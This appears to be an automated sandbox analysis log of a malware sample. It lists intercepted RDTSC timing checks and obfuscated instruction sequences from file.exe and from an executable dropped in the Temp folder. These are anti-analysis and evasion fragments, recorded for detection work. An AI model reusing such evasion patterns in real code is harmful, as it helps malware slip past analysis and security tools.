Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D309B0 second address: 4D309B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D309B4 second address: 4D309B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D309B8 second address: 4D309BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D309BE second address: 4D309D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AFA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D309D4 second address: 4D30A2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F1690B6C804h 0x00000012 pushfd 0x00000013 jmp 00007F1690B6C802h 0x00000018 and si, F798h 0x0000001d jmp 00007F1690B6C7FBh 0x00000022 popfd 0x00000023 pop eax 0x00000024 mov esi, edi 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b movzx eax, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30A2B second address: 4D30A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 36D1h 0x00000007 mov ecx, 16AA6F0Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ebx, 2695F928h 0x00000018 pushfd 0x00000019 jmp 00007F1690C1AFA1h 0x0000001e and esi, 60D58696h 0x00000024 jmp 00007F1690C1AFA1h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30A6E second address: 4D30A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1690B6C7FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30A94 second address: 4D30A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30A9A second address: 4D30ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C803h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [75C7459Ch], 05h 0x00000012 jmp 00007F1690B6C806h 0x00000017 je 00007F1701A4A725h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30ADC second address: 4D30AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30AE0 second address: 4D30AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30B24 second address: 4D30B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30C50 second address: 4D30C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30C54 second address: 4D30C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30C62 second address: 4D30C68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D30C68 second address: 4D30C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507F0 second address: 4D507F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507F4 second address: 4D507FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D507FA second address: 4D50832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C804h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1690B6C807h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50832 second address: 4D508AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1690C1AF9Fh 0x00000008 pop esi 0x00000009 mov bx, 26FCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007F1701AF0BE1h 0x00000016 jmp 00007F1690C1AF9Bh 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d call 00007F1690C1AFA0h 0x00000022 mov ebx, esi 0x00000024 pop eax 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F1690C1AFA9h 0x00000030 or esi, 38286E66h 0x00000036 jmp 00007F1690C1AFA1h 0x0000003b popfd 0x0000003c pushad 0x0000003d popad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508AC second address: 4D508B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508EA second address: 4D508F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 015FFEFEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D508F4 second address: 4D50931 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1690B6C7FEh 0x00000009 and cx, F2C8h 0x0000000e jmp 00007F1690B6C7FBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1690B6C804h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D50931 second address: 4D5094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop eax 0x0000000f mov bx, 1222h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: CDD90D second address: CDD911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: CDD911 second address: CDD921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AF9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E5DE81 second address: E5DE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E5DE85 second address: E5DEAB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1690C1AF96h 0x00000008 jmp 00007F1690C1AF9Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007F1690C1AFA2h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E5DEAB second address: E5DED9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F1690B6C7F6h 0x00000015 jmp 00007F1690B6C809h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E5DED9 second address: E5DEFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E5E186 second address: E5E18A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E614C6 second address: E614CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E6153B second address: E6157D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1E15h], edi 0x00000010 mov dword ptr [ebp+122D33DDh], ebx 0x00000016 push 00000000h 0x00000018 mov edx, dword ptr [ebp+122D2471h] 0x0000001e push 8EF73C15h 0x00000023 push eax 0x00000024 push edx 0x00000025 jbe 00007F1690B6C802h 0x0000002b jmp 00007F1690B6C7FCh 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E6157D second address: E61612 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1690C1AF9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 7108C46Bh 0x00000011 clc 0x00000012 push 00000003h 0x00000014 jmp 00007F1690C1AFA2h 0x00000019 push 00000000h 0x0000001b mov dx, bx 0x0000001e push 00000003h 0x00000020 jmp 00007F1690C1AFA5h 0x00000025 push 64344B29h 0x0000002a pushad 0x0000002b jmp 00007F1690C1AFA2h 0x00000030 jmp 00007F1690C1AFA1h 0x00000035 popad 0x00000036 add dword ptr [esp], 5BCBB4D7h 0x0000003d mov edi, 0E5D47B9h 0x00000042 xor edi, dword ptr [ebp+122D380Ch] 0x00000048 lea ebx, dword ptr [ebp+1245741Fh] 0x0000004e push eax 0x0000004f jbe 00007F1690C1AFA4h 0x00000055 push eax 0x00000056 push edx 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E6167E second address: E61684 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61684 second address: E61688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61688 second address: E6168C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E6168C second address: E616D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a mov dh, bl 0x0000000c jmp 00007F1690C1AFA7h 0x00000011 popad 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D1E15h], eax 0x0000001a push 833C6CD9h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1690C1AFA1h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E616D2 second address: E616D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E616D8 second address: E616DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E616DF second address: E61762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 7CC393A7h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F1690B6C7F8h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 clc 0x00000029 push 00000003h 0x0000002b push 00000000h 0x0000002d push edx 0x0000002e call 00007F1690B6C7F8h 0x00000033 pop edx 0x00000034 mov dword ptr [esp+04h], edx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc edx 0x00000041 push edx 0x00000042 ret 0x00000043 pop edx 0x00000044 ret 0x00000045 push 00000000h 0x00000047 push 00000003h 0x00000049 ja 00007F1690B6C7F8h 0x0000004f mov edi, dword ptr [ebp+122D2D1Eh] 0x00000055 call 00007F1690B6C7F9h 0x0000005a jbe 00007F1690B6C802h 0x00000060 jns 00007F1690B6C7FCh 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push ecx 0x0000006b pop ecx 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61762 second address: E61770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1690C1AF9Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61770 second address: E61774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61774 second address: E617EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jbe 00007F1690C1AF98h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 js 00007F1690C1AF96h 0x0000001c pop eax 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push edx 0x00000021 jnl 00007F1690C1AFA7h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push ecx 0x0000002d jmp 00007F1690C1AF9Eh 0x00000032 pop ecx 0x00000033 pop eax 0x00000034 mov edi, 24F02E0Eh 0x00000039 mov esi, dword ptr [ebp+122D34E8h] 0x0000003f lea ebx, dword ptr [ebp+12457428h] 0x00000045 sub cx, EA00h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F1690C1AFA1h 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E617EE second address: E617FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E617FE second address: E61808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F1690C1AF96h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E61A02 second address: E61A14 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1690B6C7F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817A7 second address: E817BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jo 00007F1690C1AF96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F1690C1AF96h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817BE second address: E817D3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1690B6C7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007F1690B6C7F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817D3 second address: E817DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817DB second address: E817E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817E0 second address: E817EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F1690C1AF96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E817EB second address: E817F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81951 second address: E81968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81968 second address: E81982 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1690B6C805h 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81AB4 second address: E81ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1690C1AFA8h 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007F1690C1AF96h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81ADB second address: E81AE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81AE1 second address: E81AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81AE7 second address: E81AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81C4D second address: E81C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81C51 second address: E81C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F1690B6C802h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F1690B6C7F6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81C75 second address: E81C8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690C1AFA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81DF6 second address: E81E01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81E01 second address: E81E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E81E07 second address: E81E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E82671 second address: E8267B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1690C1AF96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E827D3 second address: E827D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E86D3D second address: E86D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E86D49 second address: E86D59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E51383 second address: E51387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E51387 second address: E513A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1690B6C7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F1690B6C7FCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8E5BC second address: E8E5C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8E5C9 second address: E8E5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F1690B6C806h 0x0000000b jmp 00007F1690B6C800h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8E5E4 second address: E8E5E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8ECF6 second address: E8ED35 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F1690B6C800h 0x00000008 jmp 00007F1690B6C7FEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F1690B6C809h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8EFF0 second address: E8EFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NSXWT8JG74T0IR99MSITIVFVWS7V.exe	RDTSC instruction interceptor: First address: E8EFF6 second address: E8F007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1690B6C7FBh 0x0000000b rdtsc
